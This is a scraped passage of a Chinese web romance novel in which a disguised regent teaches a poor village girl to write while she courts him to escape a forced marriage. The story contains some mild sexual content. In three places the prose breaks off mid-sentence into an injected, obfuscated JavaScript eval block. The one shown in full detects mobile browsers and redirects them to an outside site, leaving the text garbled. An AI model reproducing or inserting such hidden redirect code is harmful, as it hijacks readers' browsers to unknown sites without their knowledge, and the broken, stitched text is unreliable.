裴时瑾抬手拿起荷包,正欲收进盒子里,门外响起脚步声,长林的嗓音响起:“公子,午饭做好了。” 裴时瑾不知为何,一时将那枚荷包收进了衣袖中。 “放那儿吧。”他说。 - 阮莹归家时,阮九已经回来了。阮九坐在屋中,见阮莹从外头回来,问了一句她去哪儿做什么了。阮莹当然不会告诉阮九自己去了裴时瑾那儿,只说有些事出去了一趟,而后往厨房走,动手做中午饭。 阮九冷笑一声:“你能有什么事?前几天我说的话你考虑好了吗?你到底是要嫁给金宝,还是嫁给赵员外?” 阮莹隔着墙,大声说:“我都不嫁!” 阮九声音也大起来,恼火得很:“你以为你真是什么富贵命?丫鬟身子小姐的心,我告诉你,我养你这么多年已经仁至义尽了,你要是今年再不肯嫁人,以后也别回来了,别叫我爹。” 阮九说完这一句,转身进了房里,阮莹依稀还听得他嘟囔了一句:“跟你娘一样……” 阮莹被阮九的话气到,撇了撇嘴,她打小就没见过她娘,她爹说她娘生下她没多久就病死了,她从小就是阮九带大的。说是阮九带大,其实更准确来说,阮九带她完全是放养,两三岁就把她一个人扔在家里跑外边去喝酒,她饿得嗷嗷哭,还是对门儿的婶子看不下去,过来喂了些吃的。阮莹就这么长大的。 阮九有点钱都换了酒喝,没给过阮莹什么,不止如此,阮九有时候喝得醉醺醺回来,还会动手打人。阮莹过得越不好,越觉得她不应该生在金水镇做阮九的女儿。她若是能生在京城,做个千金小姐,那才是她应该过的人生。 阮莹想到这些,咬了咬牙,又想到裴子玉。无论如何,她必须要嫁给裴子玉,她要跟着裴子玉离开金水镇,到京城去。 阮莹一面想着,一面红了眼眶,她把饭做好,端到饭桌上,而后也回了自己房间。阮九的话让她没了吃饭的心思,阮莹锁上门,在自己窄小的床上侧躺下,枕着自己胳膊呜咽了会儿。 她从匣子里找出裴子玉给她写的信,又看了一遍,抱在怀里啪嗒掉眼泪。此刻,裴子玉就像一个符号,象征着她梦想的富贵生活,只要她伸手抓牢,就能拥有梦寐以求的生活。 阮莹用帕子擦去自己的眼泪,脑海中浮现出裴子玉的面庞,他英俊的面庞,宽大的手掌,就连他的胸膛也那么厚实而有安全感。她想象着裴子玉的一切,想象着这会儿是他将自己搂在怀里,用那坚实有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴时瑾伸手搓洗自己的身体,原本想等自己心中那点热意消退,可不知为何,过了好一会儿,还是昂扬不已。 他微微抿唇,终是抬手疏解。 许是有些时日没有此事,一旦勾了起来,就有些强烈。这日夜里,裴时瑾难得的做了个不同寻常的梦。 他梦到阮莹,梦里阮莹一声声唤他子玉哥哥,求饶,但裴时瑾却并不理会,反而压着她给得更多,强迫她通通接纳。阮莹眼睛红红的,哭了一次又一次。 裴时瑾醒来得很早,晨光初照,洒落窗牖。他睁开眼,按了按眉心,记起自己的梦。太过荒唐。 他坐起身,又看见那枚粉色的荷包,在床头的小几上。昨夜他随手放在这里,忘记收起。 荷包上的香味淡了些,但仔细嗅闻,依旧能闻到。裴时瑾心道,今日她再来,须得还给她。 5. 第 5 章 阮莹下午才过来找裴时瑾,上午她去隔壁镇上找刘家婶子,托刘家婶子帮她把自己做的一批香粉和帕子捎去城里卖掉,赚些小钱。 阮九没有正经差事,不喝酒的时候会去做做零工赚钱,但赚到那些钱又拿去买酒喝,甚少能给到阮莹。只有赶上阮九高兴的时候,才可能给阮莹几文钱。 从阮莹记事起,她想赚钱只能靠自己做些零工。或是绣些帕子,或是做点香粉,或是找点小差事,金水镇虽说是个镇子,但地处偏僻,比村子大不了多少,镇上的人家不多,能让阮莹找到的差事更少。不过她长得漂亮,倒是因此能多少有些好处。 阮莹今天也没空着手来:“这是我自己熬的绿豆汤,消暑解渴。” 她把绿豆汤盛给他们几个,长林依旧不买账,兀自走了。阮莹给他们盛好绿豆汤,视线望向裴时瑾的房间。 长明见阮莹来,早就朝房中人禀报了声,故而裴时瑾已经知道阮莹到了。听见轻盈的脚步声到了门口,裴时瑾抬眸,对上阮莹满含笑意的眼睛。 “子玉哥哥,我今天熬了绿豆汤,清凉解暑。”她笑说着,端来一碗绿豆汤放在他面前。 裴时瑾道了声谢,心里却想着那枚荷包的事,他状似不经意提及:“你昨日将荷包遗落在我这里。” 裴时瑾眼神看向手边,放着阮莹那枚荷包。 阮莹惊讶一声,似乎才发现这件事,“原来掉了呀,谢谢子玉哥哥。” 她说完,顺手将荷包收进胸口的交领里。她动作自然,全然没意识到在一个陌生男人面前做这种动作有多引诱人。她身段姣好,腰如杨柳,更衬出峰峦娇盈,本身就容易让男人注意。 裴时瑾一时默然,他自觉已经算不得一个好色之徒,也难免会因此多注意一些。她似乎太没防备心,他们之间的关系尚算不得熟稔,她不该如此信任自己。 裴时瑾觉得自己应该提醒她一句,只是这种事太过敏^感,他不知要如何开口,倘若突兀地提及,反而显得他品行不端似的。 裴时瑾沉默思忖着,尚未思忖出腹稿,阮莹先开了口:“子玉哥哥,我们现在继续学吗?” 裴时瑾应了声,让她到桌案边来。她将话题引至另一个,此时再说,更不合适,裴时瑾只好将话咽下,罢了,这种事可大可小,也算不得什么。 阮莹乖顺地走近几步,从裴时瑾身边经过的时候,却不小心被桌脚拌了一下。她身形一个踉跄,往前一扑,正扑进裴时瑾怀里。 阮莹轻嘶了声,赶紧道歉:“对不起,子玉哥哥,我不是故意的,没撞疼你吧。” 她揉着鼻子,小脸皱作一团,显然被裴时瑾撞疼了。裴时瑾的胸膛坚实有力,他是男子,不似女子柔软。 阮莹已经从他怀里出来,靠着桌案站定,似乎方才的失误只是意外。 裴时瑾摇头,道一句无事,微低眉目,却见阮莹吸了吸鼻子,好像当真痛得厉害,眼眶红红,盈出一层水雾,泫然欲泣。 她抬起头看裴时瑾,还强颜欢笑:“子玉哥哥,你的胸膛好硬,和我完全不一样,明明是我不小心撞到你,结果痛的反而是我。” 裴时瑾:“我是男子。” 话题似乎又能绕回方才,裴时瑾迟疑一瞬,说:“你是女子。男女之间,本就不同。” 阮莹笑了笑,点头:“确实不同。” 她忽地踮脚,似乎想与裴时瑾比身高,即便阮莹踮起脚,裴时瑾还比她高半个脑袋。 “子玉哥哥比我高好多呢。”她好看的眸眼忽地映入裴时瑾的眼帘,裴时瑾心头微怔,不合时宜地想到自己昨晚的旖^旎幻梦,梦里湿漉漉的眼睛与面前的眼睛交叠重合。 裴时瑾垂下视线,薄唇抿紧了些。 阮莹也没有胡闹太久,她绕到裴时瑾身侧,看向桌案上备好的笔墨纸砚,便拿起笔,端正坐好,“子玉哥哥,我昨天学的都还记得哦。” 她说着,一手按着白纸,一手写字。 阮莹本想大显身手,给裴时瑾展示一下自己,可写出来却有些意外,没有那么好看。阮莹撅了撅嘴,有些懊恼。 裴时瑾瞥了眼,夸她:“已经很好,不要急,慢慢来。” 阮莹叹了声,看向自己的手:“我好像又忘了怎么握笔才对……子玉哥哥,你可以再教我一遍吗?” 她眼中的水雾散去大半,但仍残留薄薄一层,显得有些可怜。裴时瑾避开她的视线,低下头,应了一声好。 裴时瑾伸手握住她的手,又给她示范了一遍,写下她的名字。 阮莹神色认真,却倏地开口说:“子玉哥哥的手也比我的大很多,男女之间,果然很是不同。” 她说着,抓住裴时瑾的手张开,将自己的手覆在他手上。她的手小小的,只有裴时瑾的手一半大。 她的手仍是凉凉的,柔软的,覆在他手心里,仿佛一团云被放在火上。 裴时瑾面容沉静,瞥她一眼,无端让人感觉有些压迫感:“你方才就在看这个?” 阮莹咬了咬唇,知道自己做错事,赶紧道歉:“对不起,我错了,子玉哥哥。我应该认真学,不应该看这些。” 她声音渐渐低下去,眸眼也耷拉下去,可怜巴巴的姿态。 裴时瑾看着她这模样,一时心有些软,叹了声道:“我没怪你。” 他果然性子不适合做老师,不过一会儿功夫,已经让学生感觉害怕。他其实没有怪她,只是方才她看得那么专注,裴时瑾还以为她在认真学,结果她却在比较他们俩的手。 他方才的语气很重么?他自觉没有,这种语气已经是他平时比较友好的语气,若他真生气,会比现在的更凶狠百倍。 兴许是因为他素日里说话语气便偏冷,先帝以前就曾经打趣过他,说他总是冷着一张脸,说话也冷冰冰的,这样不讨女孩子喜欢。裴时瑾没有这些心思,倒不在意讨不讨女孩子喜欢。 阮莹轻嗯了声,扯了扯嘴角:“子玉哥哥,你再教我一次吧。” 裴时瑾便再次握住她的手,手把手示范如何握笔,如何下笔。示范过两遍,阮莹点了点头,示意自己明白了。 裴时瑾松开她的手,教她今日要学的新字。阮莹跟着他学,虽然也时不时笑一下,但显然还是被他方才的语气吓到,气氛有些低迷。 这让裴时瑾着实犯难,他与女子接触甚少,更遑论哄她们,他更不擅长。其实他也可以当做没看见,或许是因为昨晚的事,虽说裴时瑾本意上没有那种心思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻言,阮莹心中喜悦,压下嘴角,惊讶道:“咦?子玉哥哥生得这般好看,字也写得这么好看,为何没有娶妻?若是不方便问,那就当我没说。” 这倒没什么不方便问的,裴时瑾只说:“没那打算,便没有娶妻。” 阮莹哦了声,又问:“那子玉哥哥喜欢什么样的女子呢?” 裴时瑾仍是淡淡地回答:“不清楚。” 这问题先帝也曾问过他,喜欢什么样的女子,要给他说亲事,他的确不清楚,他在男女之事上压根不曾开窍。 阮莹点了点头,没有再问了。他们才认识几天,她还没傻到这时候问,那你喜欢我吗? 几天就能回答喜欢的人,无非是贪图她的美色。可裴子玉显然不是贪图她美色的人,她这两日主动投怀送抱,他都不曾有什么反应,可见他是个正人君子。 她还得努努力,再与他相处相处,让他爱上自己才行。 阮莹当然不知道,裴时瑾可称不上什么正人君子,他杀人不眨眼,手段狠辣,为了得到自己想要的东西同样不择手段。只是现在,他还没有想过要她罢了。 6. 第 6 章 阮莹在裴时瑾那儿又待了会儿,在天色变暗之前离开。裴时瑾让长明送她,待她身影消失在院子里,他才收回视线。 长林看在眼里,撇了撇嘴,他还是不解为何裴时瑾要答应教阮莹读书识字,这简直就是没事找事。裴时瑾听见他的疑问,没有回答。 这两日教导阮莹读书识字,总让他记起很多从前的事。他算不得心软的人,战场上杀敌容不得一丝心软,稍有不慎就是自己丧命,但先帝给他的温暖是他幼年时为数不多的光亮。当年他与先帝相识,也是因为他羡慕其他皇子可以读书识字,他大着胆子拦住先帝去路,询问他是否可以教自己读书识字。 这些事他不会告诉长林,只是说:“左右我在这里闲着也是闲着,找些事做也好。” 他瞥了眼长林,说:“你对她似乎很不满。” 长林辩解:“小的没有,只是……”说不上来,总之他不喜欢阮莹。 裴时瑾没再说什么,他不会要求长林对阮莹改观,说到底,阮莹也只是一个匆匆的过客,待他们离开金水镇,不会再有任何交集。 - 千里之外,京城之中。 周太后受到了探子传来的密报,说是刺杀失败,裴时瑾受了伤,刺客自尽,他们失去了裴时瑾的行踪。灯光映照着周太后的面容,她保养得很好,虽说已经年近四十,但看起来不过三十岁。 周太后把字条烧掉,一声叹息。此番没能除掉裴时瑾,裴时瑾定然会有所防范,再难有机会了。不过裴时瑾受了伤,想必总要在路上耽误些时间,她可以趁着这段时间将朝中势力再占据一些,也不算毫无收获。 周太后按了按太阳穴,待字条烧完,问起翠浓:“皇上呢?” 翠浓说:“皇上在凌霄殿处理政事呢。” 周太后眸中浮现柔软的笑意,让翠浓吩咐下去,准备一碗醒神汤。她带着醒神汤来到凌霄殿看望少帝,守门的小太监见她来,面露慌张。 “奴才给太后娘娘请安。” 周太后道免礼,要推门进去,小太监立刻跪了下来,直呼“太后娘娘恕罪”。周太后睨他一眼,视线扫过空荡的内殿,少帝不在殿中。 周太后声音严肃:“皇上呢?” 小太监战战兢兢回话:“皇上百日里便出了宫玩,这会儿还未回来……” 周太后冷笑一声。 裴越从宫外回来时,还未玩得尽兴,他面上挂着笑意,看向看门的小顺子,问:“母后没有发现吧?” 小顺子哪敢说什么,只低着头,裴越看他这神色,便知恐怕不妙。他推门而入,周太后已经在坐着等他。 “回来了。” 裴越知道自己做错事,头垂了下去:“母后。” 周太后:“去哪儿了?” 裴越如实回答,周太后听完,一副恨铁不成钢的语气:“你成日里就知道玩儿,你是天子,你的职责是玩吗?” 裴越不以为意道:“朝中事务不是有皇叔么,又不需要我做什么,等皇叔回来他会处理的。” 周太后听他这么说,愈发恼怒:“越儿,你要明白你才是天子。” 裴越不解:“朕是天子,那又如何?可皇叔是父皇钦定的摄政王,他当然会辅佐朕。” 周太后冷声说:“他今日愿意甘心辅佐你,可明日呢?你应当勤勉些,将权力牢牢握在自己手中,才能坐稳这皇位。” 对于做皇帝这件事,裴越当然乐意,这个位子谁不想要?可他同时也想要吃喝玩乐,他尝试过让自己全身心地勤勉,可他做不到,他年岁轻阅历浅,朝中那些大臣对他的轻视他都知道,比起他的决策,他们显然更认裴时瑾的。裴越起初有些沮丧,渐渐却觉得这样也很好,他可以拥有皇帝的权力,却又不用太过操劳。 但母后却不愿意。母后总是逼他更勤勉些,次数多了,裴越也有些烦。 裴越垂着眼眸,只说自己知道了,他不想违逆母后,惹母后伤心。 - 一连数日,阮莹都会去找裴时瑾学习,二人倒是比先前熟悉了些。尤其是阮莹,与裴时瑾院子里那几个护卫也熟悉起来,除了长林。 她今日又带了些自己做的酸甜可口的酸梅饮子,分给了他们。阮莹总是额外给裴时瑾带一份,她轻手轻脚地走到裴时瑾房门口,唤了声:“子玉哥哥。” 阮莹走进房中,却见裴时瑾支着额头,见她来才抬眸。他瞧着有些精神不大好,不知是不是昨夜没睡好。 阮莹把酸梅饮子放在他面前,裴时瑾拿起勺子轻尝了口,下一瞬微凉的指腹按在他太阳穴。 他动作顿住,听见阮莹的声音从头顶传来:“子玉哥哥,你是不是昨晚没有睡好?我帮你按按。” 他想说不用,但阮莹柔软的手指已经按住他太阳穴,慢慢揉动。 裴时瑾抿唇不语。 他昨晚的确没有睡好,更准确来说,他昨晚可以说一夜没睡。昨晚入夜没多久,他左手的旧伤便复发了。 他左手的伤是在战场上伤的,伤到了经脉,原本也不是没有治好的可能,可谁知道,伤他那把刀上还淬了毒,毒沿着伤口侵入他的肌肤与骨髓,大夫也束手无策。 左手于旁人而言没那么重要,于裴时瑾而言却不是,裴时瑾出生便是个左撇子,他左手比右手更灵活有力。 从那之后,裴时瑾的左手可以说废了。大夫尽了全力,让他的手看起来与常人无异,却不能再提重物,再使力气。且因为那毒太过奇特,不能完全拔除,至今仍在他手上残留,不定时就会引诱他旧伤复发,原本的伤口乃至骨髓都会疼痛难忍,颤抖不止。 这几年,他一直在找治疗的办法,但看了无数名医,都是摇头。此番他离开京城,也是为了寻找一个名医,结果这名医只是个幌子,是太后给他设的一个陷阱。 昨天夜里,他的手伤突然发作,那种痛楚是从内而外散发出来的,即便裴时瑾自诩忍耐力非常人,也没办法安然入睡。 这伤发作没有规律,随时随地都有可能,诱因更是千奇百怪,冷了有可能诱发,热了也有可能诱发……这几年,裴时瑾倒是有些习惯了。 他不会将这些告诉阮莹,只是安静地喝全酸梅饮子。 少女的指腹时轻时重地按着他的太阳穴,她抬手的时候,衣袖往下耷拉,露出两截雪白的小臂。裴时瑾微微偏头就能看见。 她身上换了种新香味,与前几日的不大不一样,没那么甜,裴时瑾不懂这些女儿家的东西,说不上来什么味道,只觉得闻着还可以。 正想着,听得她问:“子玉哥哥,你觉得我今日新换的香粉怎么样?” 裴时瑾正要回答他不懂这些,她倏地凑得更近,脑袋几乎挨着他的脖颈,“这样可以闻到吗?” 她温热的呼吸喷洒在他颈侧,身上的香味仿佛被她呼吸烘得暖暖的,送入他鼻腔里,化作一种难以言说的味道。只觉得,嗅了还想再嗅似的。 因为她往前倾身子,故而身上娇盈正好贴在裴时瑾背上。 裴时瑾微蹙眉头,觉得还是应该提点她一句。 “挺好闻的。”他回答阮莹的问题。 阮莹似乎很开心得到他的认可,清泠的笑声在他耳畔响起,惹得他脖颈有些发痒。 “那应该能卖得很好吧。我做了些托刘家婶子帮忙去城里卖,希望能全都卖掉,赚一点钱。”她说着,轻叹了声,“给子玉哥哥交了束脩之后,我攒的钱就没剩多少了。” 裴时瑾问:“你若缺钱,我可以将那些钱还给你。” 阮莹赶紧摇头:“那不成,那是我的诚意。你可以不要,但我不能不给的。没事啦,我会自己赚的。” 她这么说,裴时瑾倒不好再说什么,顺势问了一句:“你平日里都靠什么赚钱?” 大抵是弯着腰的姿势太累,阮莹说着,索性把下巴搭在了裴时瑾肩上:“自己做些香粉,或是帕子,镇上谁家有什么事,譬如说过寿辰成婚,我便去厨房里帮忙。” 她吐息如兰,裴时瑾只觉得耳侧那一块愈发痒起来,甚至有些发麻。 他再次皱眉,正欲让她起来,阮莹先一步将下巴抬了起来,离开了他的肩膀。 裴时瑾松了口气,赶紧站起身:“开始吧。” 阮莹哦了声,跟着他走。这几日阮莹已经学了近百个字,今日裴时瑾便没教她新的,只是巩固旧的。 阮莹忘记了一些,记得大半,这已经很好。裴时瑾夸了她一句不错,她笑眼弯弯。 二人学了半个时辰,院门外有人敲门拜访。 长林开门,门外站着一个小厮装扮的人,是那赵员外家的,发了一个请帖,说是过些日子是他们员外的六十大寿,大摆宴席,邀请乡亲们去吃酒。有了上次的经验,长林没有再冷漠拒绝,只是收下帖子,让人走了。 长林来禀报裴时瑾,将事情原委说了。 “公子可要去?” 裴时瑾自然不去,一旁的阮莹听了长林的话,脸色却变了变,有些难看。 长林一走,阮莹的眼泪就掉了下来,晕开了纸上的墨。 她肩膀颤抖着,似乎极力想要压抑住自己的情绪,可怎么也压抑不住,片刻后还是泄出轻声的啜泣。她的眼泪来得好似夏日里突然兜头而下的暴雨,让裴时瑾有些措手不及。 不过一眨眼的功夫,她怎么就哭起来了? 裴时瑾怔在原地,一时不知该说些什么,片刻之后,还是问了一句:“怎么了?” 阮莹抬起头来,一双美目蓄满泪水,簌簌往下掉,好似断了线的珍珠。她眼眶泛出一圈红,我见犹怜,声音微微颤抖着:“对不起,子玉哥哥,我失态了……” 她说着,慌忙用帕子擦去眼泪,可神情看起来仍像被暴雨浇透的蔷薇,委屈又难过。 裴时瑾眉头微低,又问一遍:“发生什么事?” 阮莹咬了咬唇,才缓缓轻声开口:“方才那个赵员外,我爹想把我嫁给他做他的第八房小妾,我不想嫁给他。那个赵员外都已经六十了,老得可以做我爷爷,可我爹似乎铁了心……” 她话音未落,再度哽咽,眼泪愈发止不住。 她哭得汹涌,瘦削的身躯几乎支持不住自己,下意识找寻一个可以倚靠的东西,阮莹自然而然将脑袋靠在裴时瑾肩头,埋在他肩膀里,哭得肩膀一抽一抽的,温热的眼泪一点点打湿他胸口的衣裳。阮莹似乎委屈极了,断断续续和裴时瑾说话。 “我爹他根本就不在乎我这个女儿、我知道,他从小就不管我,小时候他就只爱喝酒,把我扔在家里,隔壁的婶子看不下去了才来抱我……后来长大了也是……那个赵员外家里有钱,指定许了他很多好处,他逼着我嫁,说若是我不肯嫁,便要给我断绝关系,要把我赶出家门……” 阮莹哭得厉害,甚至有些喘不上气,激烈地哭太过耗费她的体力,阮莹渐渐有些虚脱,整个人都失了力气一般,靠在裴时瑾身上。她的手指更是紧紧抓着裴时瑾的衣袖,靠得近了,她身上的香气愈发浓烈。 原来她身世坎坷,家中不幸,裴时瑾低眸看向怀中颤抖的人,对她不免有几分天涯沦落人的哀怜。他顿了顿,伸手轻轻拍了拍她的背,安慰道:“没事的。” 多余的话他不会说了,裴时瑾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559805|171351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会安慰人,自幼没人安慰他,有些东西是耳濡目染学来的,若是周遭无人可学,自然不会。更何况是安慰一个娇滴滴的姑娘家,这更不在裴时瑾会的范畴里。 他轻声重复了一句:“没事的,别哭了。” 这姿势太像一个拥抱,阮莹手绕过他的腰,紧紧抱住他,愈发放肆地哭。 少女柔软的手臂圈着他的腰,这于裴时瑾而言太过陌生,他身形僵住,觉得太过亲近。可怀里的人还在呜咽不止,这时候他总不能冷漠让她松开手。 思忖片刻,裴时瑾还是没动,任由她抱着自己哭。 不知道过了多久,少女的啜泣声才渐渐止住。 阮莹吸了吸鼻子,情绪终于平复了些,她松开抱住裴时瑾的手,抬头看他,道谢:“谢谢你,子玉哥哥,我真的太失态了,对不起。” 她退开一步,低头揉了揉眼睛。 裴时瑾只道:“没事。” 方才二人一直抱在一起,相贴的地方被两个人的低温烘热,带着隐约的潮湿。此刻阮莹退开,那温度顿时降下去,裴时瑾竟有片刻的不习惯。 他胸口那一块被阮莹哭得湿透,颜色更深,一眼便能发现。阮莹有些不好意思:“对不起啊,子玉哥哥,我把你的衣裳弄脏了,要不……我帮你洗了,再还给你吧。” 她露出些许尴尬的神色,眼睛才哭过,还是红红的。 裴时瑾摇头说不用,阮莹似乎当真觉得自己太过失态,被裴时瑾拒绝后,轻声说自己先回家了。她说完,便转身出了门。 她垂着脑袋,一路小跑,很快地消失了。 裴时瑾视线追随着她,直到她背影消失在院门外,才收回视线,他低眸看自己面前被泪水沾湿的那一块,有些发凉。有风从窗外传来,却也是燥热的,燥热的风钻进他脖颈,热与凉交织在他心头,叫人心不禁一颤。 裴时瑾站在原地,许久未动。 阮莹眼睛红着,一看就知道哭过,她哭着从公子房中出来,不免引起了几个人的注意。他们面面相觑,甚是好奇发生了什么事。他们跟在裴时瑾身边数年,平日里只听裴时瑾的话,谁也不敢问。 他们公子一向对女人没兴趣,行军打仗很少有女人,但也不是完全没有。有时候打了胜仗,救下百姓,有女人自愿想跟着他们公子,也有敌人打了败仗,进献美人讨好,不论哪种,他们公子通通回绝。后来从军中回京城,喜欢他们公子的女人更是不计其数,也有大着胆子上前表白心意的,他们公子一向也没回应。 这位阮姑娘长得很美,毋庸置疑,以她的姿色,即便在京城,也能排得上号。只是他们公子从不看重美色。这两个人能发生什么,让阮姑娘哭着出来? 难不成是阮姑娘也向公子表明了情意,被公子拒绝了,一时难过所以哭了? 他们小声议论,被长林冷声训斥:“你们是越发没规矩了,公子的事也是你们能妄议的?” 他们便噤了声,不敢再议论。 长林看了眼院门方向,心里却想,他要知道这女人对他们公子目的不纯,只盼她知情识趣,日后都不要再来打扰他们公子才好。 - 阮莹回到家中,趴在自己的架子床上,她方才这一哭,半真半假。委屈是真的,但更想要借机和裴子玉靠得更近也是真的。 男人一贯都爱当英雄,向他们示弱是阮莹经常用的手段,这一招可谓是屡试不爽,只要她示弱,他们都会心疼她。她想,裴子玉应该也不会例外,除非他不是男人。 赵员外的帖子当然也送到了阮家来,还是特意挑阮九在家的时候来送的。 “阮九,我们老爷这回过六十大寿,可是下了血本,不仅不要乡亲们送贺礼,免费请乡亲们吃席,哪家来给我们老爷贺寿的,我们老爷还免费发米。这可是前所未有的好事,过了这个村,可就没这个店了。你可要好好把握,一定要来啊。”小厮传达着赵员外的话,眼神却往阮家房里瞟,意思很明显,让阮九一定带着阮莹去一趟。 阮九也知道赵员外的意思,这个赵员外从阮莹十四岁起就打阮莹的主意,不过以前阮莹态度强硬,一点儿不肯,总想着要飞上枝头变凤凰。阮九虽然觉得阮莹在痴心妄想,却也想,她毕竟年轻漂亮,万一真能飞上枝头,他自己也能沾沾光。 可一来二去,阮莹都耽误到十九岁了,还是什么都没发生。阮九不免有些着急,也开始打起答应赵员外的主意。 阮九笑着一口应下,等到阮莹回来,阮九过来和她说这事儿。 “过几天赵员外六十大寿,你跟我一块去。” 阮莹小脸一垮:“我不去。” 赵员外打什么主意,她当然清楚。 阮九脸色一变:“你不去也得去,我是你老子,还做不了你的主了。你真以为自己是什么东西,还清高起来了,赵员外有钱得很,他能看上你,这就是你的运气。” 阮九朝地上啐了口,撂下这话就走。 阮莹气得把门摔上,又趴回床上呜咽了两声。 - 夏日里天气炎热,泪痕没多久就干了,消失得无影无踪。裴时瑾坐在桌案前,京中三不五时有信来,他虽然打算放手让少帝接手朝政,可这种事急不来一时,还有许多事需要他周全。 他提笔写了几封回信,忽而嗅到自己身上传来的香味,是阮莹的味道,大抵是被她抱着时沾上的。已经过去许久,仍旧没有散去。 他不觉间想到她那个荷包,也尽是她的味道。这一瞬,他仿佛成了那个荷包。 裴时瑾一时失神,女儿家的温度与柔软体感在他心头撩过。 7. 第 7 章 身上沾染女子香味,对裴时瑾而言像天方夜谭的事。身上沾染另一个人的气息,也让裴时瑾有些不习惯。他犹豫片刻要不要换身衣裳,想到已经这个时辰,待会儿就要安寝,倒不必这么麻烦。 或许再过会儿就该散了。 但这香味却一直到裴时瑾安寝时也没散去,甚至脱去了外衫,还渗透进他的中衣里。裴时瑾坐在床边,低头轻嗅了嗅自己身上,眉头微凝。 很不习惯。 或许可以去沐浴更衣,但也没有别扭到那种程度,裴时瑾迟疑片刻,还是躺了下去。 裴时瑾没有很快睡着,他睁开眼,原本在想京城的事,他的探子来信,道少帝这些日子常偷偷跑出宫去玩,并不醉心于国事。少帝性子软弱,且太贪玩,一时要改,也改不过来。不过还有些时间,可以再等等。 至于太后,刺杀失败后,太后没有再有任何行动,大抵怕他抓到真切的把柄,太后总是防备着他。 …… 不知怎么,裴时瑾忽然想到阮莹。 她今天说,她不愿意嫁给那个什么赵员外,裴时瑾捻了捻指腹,心里冒出个念头,若是能帮她解决这件事…… 她是个可怜的姑娘,的确不该嫁给一个老头子枉费青春。 但这种事要怎么解决?若是他是摄政王,或许可以用手中权力帮她,这是最简单直接的办法。但他现下不便暴露身份,倒不知怎么帮她。 裴时瑾无声轻叹,阖上眸子。 那馨香一直追随到裴时瑾的梦里。 第二天晌午,阮莹还是来找裴时瑾。 长林开门看见她,有点烦,可明面上也不好说什么,只得让她进来。其他几个看见阮莹来,也都看了过来。 “阮姑娘来啦。”长明率先开口唤了一声。 她今天照常过来,看来昨天不像是他们猜测的那样。 阮莹回他一个笑容,打过招呼,她便去寻裴时瑾。裴时瑾站在窗下,见她来,微微颔首。 “子玉哥哥。”阮莹唤了声,走进房中。 裴时瑾嗯了声,并未多说任何,只开始教她。他一直如此,不会说些有的没的,清清冷冷的。 阮莹偷瞄了眼裴时瑾,他真的跟她见过的那些男人都不一样。 可是,他对自己就没有一丝好奇么?有时候阮莹也希望他能多问几句,对她好奇一些。她心里生出些挫败感,而后收敛心神,专心学习。 待学过一轮,阮莹才欲言又止地开口:“子玉哥哥,我有一件事想请你帮忙。” 裴时瑾:“什么事?” 阮莹垂下好看的眸眼,纤长睫羽轻轻扇动:“我爹逼我一定要去参加赵员外的寿宴,你……可不可以陪我一起去,我很害怕赵员外他会做什么不好的事。” 她说着,咬住朱唇,忧愁道:“你不知道,赵员外家中有钱,所以在这里颇有些权势,他若是真做些什么,那些人也只会睁一只眼闭一只眼,当做看不见的。至于我爹,就更指望不上了,他巴不得我给赵员外做小老婆。” 她说完,眼眶又红了,葱白如玉的手指紧紧攥住他的衣袖,殷切地望着他。 裴时瑾顿了顿,他先前说不去,一来这种地方人多眼杂,于他隐藏身份不利,二来他不喜欢这种场合。 但也不是去不得。 他抿了抿唇,应下了她:“好。” 阮莹听得他答应,顿时眉梢唇边都挂着笑:“子玉哥哥,你真好。” 这是她第几次说自己真好了,裴时瑾垂眸,他自觉没有做什么了不得的事,无非是因为她日子过得不好,连这些小事也不曾有人对她好。 赵员外寿宴这天,阮莹跟着阮九从家里出发,去往赵员外家。寿宴定在中午,路上能看见不少人都是往赵员外家去的,他们脸上都乐呵呵的,想到能白吃一顿大餐,还能得到免费的米,实在算得上一件好事。 阮莹脸上却有些沉闷,她垂着脑袋,走在阮九身后。 阮九看一眼她,呸了声骂她:“你是给人家贺寿的,垮着一张脸给谁看?” 阮莹不理会他的话,兀自越过他往前走了。 赵员外家在金水镇往城里去的大路上,赵家的宅子是金水镇上最大的,足有几十个阮家那么大。赵宅门口有两个气派的大石狮子,怒目圆睁地守护着他们家的财富,今天是大喜日子,门口张灯结彩,敲锣打鼓,好不热闹。 阮莹和阮九到了门口,赵家的家丁早被交代过,看见父女二人便去禀报赵员外。 阮九和人寒暄,阮莹往身后张望了一番,寻找裴时瑾的踪影。 他答应过自己要来的,应该不会爽约吧。 阮莹的思绪被人打断了,“哟,这不是阮莹吗?” 阮莹循声看向面前停下来的年轻夫妻,男子肥头大耳,一说起话来脸上的肥肉都在颤动,他身边的女子挽着他的胳膊,却有几分姿色。二人站在一起,实在像一朵鲜花插在牛粪上。 阮莹认识他们,男人是镇长的独子,叫钱成才,早些年曾经追求过阮莹,被阮莹拒绝之后,一直怀恨在心,见到她便要讽刺她几句。至于他的妻子苗玲,曾经是阮莹的玩伴,两个人也有过形影不离的时候,只是后来二人闹掰了。 阮莹只当没看见他们,别过了脸。 钱成才却不依不饶:“啧啧啧,还装起来了,原来你不肯嫁我,是要给赵员外当小老婆。” 